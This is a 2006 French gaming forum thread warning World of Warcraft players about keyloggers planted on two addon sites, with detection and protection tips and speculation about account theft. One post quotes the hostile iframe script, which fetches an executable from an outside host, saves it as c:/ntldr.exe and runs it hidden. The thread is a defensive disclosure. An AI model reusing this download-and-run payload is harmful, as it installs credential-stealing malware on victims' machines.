Keyloggers chez curse-gaming et worldofwar.net !

Deumus · 21/12/2006, 17h02

Citation :

Comme me l'ont fait remarquer certains d'entre-vous, des keyloogers ont été détectés du côté de Curse-Gaming et WorldofWar.net. Plusieurs joueurs ont été victime du vol de leur compte WoW, soyez donc prudent si vous avez récupéré un addon sur l'un de ces deux sites ces dernières heures.

Pour rappel, un keylogger est un dispositif permettant d'enregistrer les frappes au clavier et de les envoyer à une personne généralement mal intentionnée. D'après WorldofRaids.com, il est conseillé de vérifier la présence du fichier ntldr.exe sur votre machine. Si c'est le cas, effacez-le immédiatement. Par contre, ne le confondez pas avec ntldr (qui n'est pas un EXE) qui est un fichier nécessaire au fonctionnement de votre système d'exploitation. Les keyloggers utilisent souvent des noms de fichiers utiles pour essayer de passer inaperçus.

Toujours d'après WorldofRaids, le problème a été résolu du côté de Curse-Gaming, mais pas encore chez ui.worldofwar.net. Pour plus d'infos, passez WoR ou encore ce topic des forums officiels. Merci à Xanna, kot et Mnenos pour leurs mails à ce sujet.

Source: Judgehype

-ACTARUS- · 21/12/2006, 17h10

merci pour l'info !

Deumus · 21/12/2006, 17h11

Np!

Ca doit se diffuser vite pour éviter les ennuis à ceux qui auraient pu être infectés.

Tigerstar · 21/12/2006, 17h15

Erf :x
On sait quels étaient les download concernés par hasard ? :x

Fuyo Archi ( Kymyt ) · 21/12/2006, 17h27

Je vais en informer mon frère perso j'ai pas d'addons

Straight Edge · 21/12/2006, 17h29

Citation :

Publié par Tigerstar

Erf :x
On sait quels étaient les download concernés par hasard ? :x

Bah au pire, tu lance la recherche de : ntldr.exe sur ton pc.

Deumus · 21/12/2006, 17h32

Citation :

Publié par Tigerstar

Erf :x
On sait quels étaient les download concernés par hasard ? :x

La page d'accueil de ui.worldofwar.net carrément. Pour curse-gaming, ils ne donnent pas beaucoup d'informations.

Topic officiel:

Citation :

At this moment in time, there is a keylogger embedded into the ui.worldofwar.net homepage.

The keylogger itself is in an iframe embedded from hxxp://ui.bcegame.com/pps.exe (do not visit!).

Do not under any circumstances visit ui.worldofwar.net !

The actual keylogger iframe:
hxxp://ui.bcegame.com/wm.htm

Keylogger iframe src:

Citation :

xPost.Open('/GET','httxxxp://ui.bcegame.com/pps.exe',0);
xPost.Send();
var sGet=df.CreateObject('ADODB.Stream','');
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xPost.ResponseBody);
sGet.SaveToFile('c:/ntldr.exe',2);
var x = df.CreateObject('wscript.shell','');
x.run('c:/ntldr.exe',0);

N'oubliez surtout pas d'étendre votre recherche à tous les fichiers cachés ou systèmes dans la configuration de l'outil de recherche de Windows.

21/12/2006, 17h42

Message supprimé par son auteur.

RisWaaq · 21/12/2006, 17h44

Merci de l'info Deumus, je fais une copie de la discussion sur le forum Interface.

Straight Edge · 21/12/2006, 17h45

Citation :

Publié par Charlouf le ouf

tu peux preciser le fichier a chercher stp ? ^^ j'ai pas capté le charabia la

ntldr.exe

creepgenie · 21/12/2006, 17h49

sinon tjs suggérer a ceux qui ont été contaminé et aux autres:
- d'utiliser un naviagateur 'sécurisé' firefox
- un add on pour gerer les javascript
no script
- un antivirus gratuit et efficace avast
- un firewall logiciel zone alarm

21/12/2006, 17h51

Message supprimé par son auteur.

Nihalsin · 21/12/2006, 17h53

Citation :

Publié par Charlouf le ouf

euh ... ntlrd.exe c est pas un fichier normal de windows ? :|

Lire le post tu dois

creepgenie · 21/12/2006, 17h53

Citation :

Publié par Charlouf le ouf

euh ... ntlrd.exe c est pas un fichier normal de windows ? :|

NTLDR.DLL est une bibliothèque qui a pour tâche au lancement de windows XP de charger le "kernel" ou noyau, c'est-à-dire pour être plus simple, le système d'exploitation.
a ne pas confondre avec ntldr.exe

21/12/2006, 18h07

Message supprimé par son auteur.

Fide · 21/12/2006, 18h38

Merci pour l'info

1011 · 21/12/2006, 23h07

Merci encore.

Abraham · 21/12/2006, 23h25

Merci pour l'info

**Orion** · 22/12/2006, 00h15

Ntldr est un fichier système, pas ntldr.exe.

Ne confondez pas

22/12/2006, 01h12

Message supprimé par son auteur.

Nitz · 22/12/2006, 01h25

C'est quoi déjà le nom de ton compte ? :d

Deumus · 22/12/2006, 01h53

Citation :

Publié par Charlouf le ouf

qu'est ce que tu veux xD

le tampax hein ^o^ la mémoire me joue des tours!

de toutes facons, moi j'ai la parade anti keylogger.

j'ai un fichier nommé E209ZIE0J283209E0S9D892U3029E sur mon bureau, mon mot de pass en es une partie, je copie la partie et je la colle dans le champ mdp :/

j'avais vu marcher un keylogger y'a kktemps, et je ne pense pas qu'il lit ce que tu "colle" mais uniquement ce que tu tappes.

néanmoins c'est une solution que j'avais trouvé :|

Un ami s'est fait chopper son compte ce mardi après 18h. Tout a été vidé de ses personnages. Pourtant il a tjrs coché la petite case pour retenir le nom de compte et il a aussi un .txt avec son mdp caché dans un bordel d'autres trucs qu'il copie/colle.

Je vais lancer des spéculations, mais j'ai de plus en plus l'impression qu'une belle partie de ces vol de comptes qui n'ont aucun sens (aucun site pourri visité, AV+FW à jour et performant, MDP compliqué, aucun prêt de compte, etc...) viennent de l'intérieur.

On peut me censurer si je n'ai pas le droit de dire ca, pas de prob. Mais je pense vraiment qu'un employé doit se faire des testicouilles en or en fourgant accès à certains comptes. Je vois des amis que je connais très très bien se faire pecher leur compte alors qu'ils n'ont absolument rien fait exposant leur compte. Et bizarrement, tout ceux autour de moi à qui ca arrive, sont des personnes avec de l'épique et + de 1000PO sur un ou plusieurs personnages. J'ai jamais vu quelqu'un avec 10PO et du matos bleu/vert se faire hacker jusqu'ici.

Et puis c'est vraiment bizarre quand même. J'ai passé des soirées à chercher avec une personne où il aurait pu chopper un keylogger, faire des tests sur 3-4 AV, anti-spy, recherche des process en BG et compagnie... rien de chez rien! Le PC clean, autant que j'aime que le mien soit! Pourtant, BOUM!

Je m'aventure beaucoup avec mes suspicions sans fondements... Mais je me questionne de plus en plus et je ne suis vraiment pas le seul. Soit Blizzard est verrollé, soit un employé est ripoux, soit y a un mec qui est un génie d'avoir créé un truc qui choppe tes login/mdp sur des PC bien sécurisés.

Enfin bon ...

Tout ca pour dire que même le copier/coller ne fonctionne pas si les vols de comptes viennent d'un process backdoor malveillant.

Andromalius · 22/12/2006, 02h02

C'est un coup des chinois du FBI moi je vous dis. Blague à part, personne chez Blizzard ne connait ton mot de passe donc bon...Il ne t'est jamais demandé pour quelque raison que ce soit.

Plus sérieusement, quand on voit l'ampleur des sociétés qui revendent de l'or, elles ont des moyens, y compris de faire appel à de bons programmeurs pour coder les trojans avec lesquels ils vont voler les comptes pour fournir leurs clients.

Les responsables sont bel et bien les gens qui achètent de l'or.

Je serais curieux de savoir combien des gens qui se sont fait hack sont d'anciens clients desdits farmeurs qui leur ont donné leur mot de passe pour se faire PL.

Citation :

et il a aussi un .txt avec son mdp caché dans un bordel d'autres trucs qu'il copie/colle.

Ah oui ca c'est de la sécurité...

Deumus · 22/12/2006, 04h43

Citation :

Publié par Andromalius

C'est un coup des chinois du FBI moi je vous dis. Blague à part, personne chez Blizzard ne connait ton mot de passe donc bon...Il ne t'est jamais demandé pour quelque raison que ce soit.

Non, mais il est contenu dans leurs bases de données. Un employé ayant accès à ce genre de données pourrait très bien s'en servir. Et même si celui-ci serait encodé, il éxiste de nombreuses manières pour une personne ayant accès aux installations, de récupérer login/pass.

Citation :

Plus sérieusement, quand on voit l'ampleur des sociétés qui revendent de l'or, elles ont des moyens, y compris de faire appel à de bons programmeurs pour coder les trojans avec lesquels ils vont voler les comptes pour fournir leurs clients.

Citation :

Les responsables sont bel et bien les gens qui achètent de l'or. Je serais curieux de savoir combien des gens qui se sont fait hack sont d'anciens clients desdits farmeurs qui leur ont donné leur mot de passe pour se faire PL.

J'ai déjà utilisé ce genre de services assez souvent, je n'ai jamais eu aucun problème.

Bizarrement un ami qui, lui, n'a jamais utilisé ce type de service (puisqu'il m'engueule même de le faire) s'est fait hacker. Pourtant aucune visite de ces sites, aucune utilisation de ce type de services, aucune visite sur les sites signalés infectés qui ont un rapport avec WoW, etc...

Et pour ta petite remarque sur le mdp dans le fichier .txt...

Citation :

w84Kjdi-983mpç%^$µ33jueoOuJn984FhhQn4u0Zp124iDliEEm094

Mon mot de passe JoL et World of Warcraft sont contenus dans ces lignes.. Trouve-les, ensuite on reparle de ton "Help".
Bon hacking!

Beaucoup de personnes pensent qu'un copier/coller passe outre un keylogger ou tout autre trojan. Ils le font donc souvent et s'amusent, eux aussi, à le dissimuler un minimum.

J'ai toujours soupconné les utilisateurs en premier lors de vols de compte. Expérience oblige. Mais ici, ce sont des personnes avec qui j'ai moi-même vérifié énormément de choses. Je n'ai trouvé aucune réponse sur la manière dont quelqu'un aurait pu se procurer leurs accès, pourtant j'ai cherché!

Elric · 22/12/2006, 09h03

Citation :

Publié par Deumus

Mon mot de passe JoL et World of Warcraft sont contenus dans ces lignes.. Trouve-les, ensuite on reparle de ton "Help".

Donne le nom du compte ça ira vite.

-ACTARUS- Alpha & Oméga	merci pour l'info !
21/12/2006, 17h10

Deumus Alpha & Oméga	Np! Ca doit se diffuser vite pour éviter les ennuis à ceux qui auraient pu être infectés.
21/12/2006, 17h11

Tigerstar [Vigi] Oracle	Erf :x On sait quels étaient les download concernés par hasard ? :x
21/12/2006, 17h15

Fuyo Archi ( Kymyt ) Alpha & Oméga	Je vais en informer mon frère perso j'ai pas d'addons
21/12/2006, 17h27

Straight Edge [THR] Alpha & Oméga	Citation : Publié par Tigerstar Erf :x On sait quels étaient les download concernés par hasard ? :x Bah au pire, tu lance la recherche de : ntldr.exe sur ton pc.
21/12/2006, 17h29

#90294 Invité	Message supprimé par son auteur.
21/12/2006, 17h42

RisWaaq	Merci de l'info Deumus, je fais une copie de la discussion sur le forum Interface.
21/12/2006, 17h44

Straight Edge [THR] Alpha & Oméga	Citation : Publié par Charlouf le ouf tu peux preciser le fichier a chercher stp ? ^^ j'ai pas capté le charabia la ntldr.exe
21/12/2006, 17h45

creepgenie Alpha & Oméga	sinon tjs suggérer a ceux qui ont été contaminé et aux autres: - d'utiliser un naviagateur 'sécurisé' firefox - un add on pour gerer les javascript no script - un antivirus gratuit et efficace avast - un firewall logiciel zone alarm
21/12/2006, 17h49

#90294 Invité	Message supprimé par son auteur.
21/12/2006, 17h51

Nihalsin Alpha & Oméga	Citation : Publié par Charlouf le ouf euh ... ntlrd.exe c est pas un fichier normal de windows ? :\| Lire le post tu dois
21/12/2006, 17h53

#90294 Invité	Message supprimé par son auteur.
21/12/2006, 18h07

Fide [Allia] Alpha & Oméga	Merci pour l'info
21/12/2006, 18h38

Orion [Mrd]	Ntldr est un fichier système, pas ntldr.exe. Ne confondez pas
22/12/2006, 00h15

#90294 Invité	Message supprimé par son auteur.
22/12/2006, 01h12

Nitz	C'est quoi déjà le nom de ton compte ? :d
22/12/2006, 01h25

Elric Alpha & Oméga	Citation : Publié par Deumus Mon mot de passe JoL et World of Warcraft sont contenus dans ces lignes.. Trouve-les, ensuite on reparle de ton "Help". Donne le nom du compte ça ira vite.
22/12/2006, 09h03

Keyloggers chez curse-gaming et worldofwar.net !

Connectés sur ce fil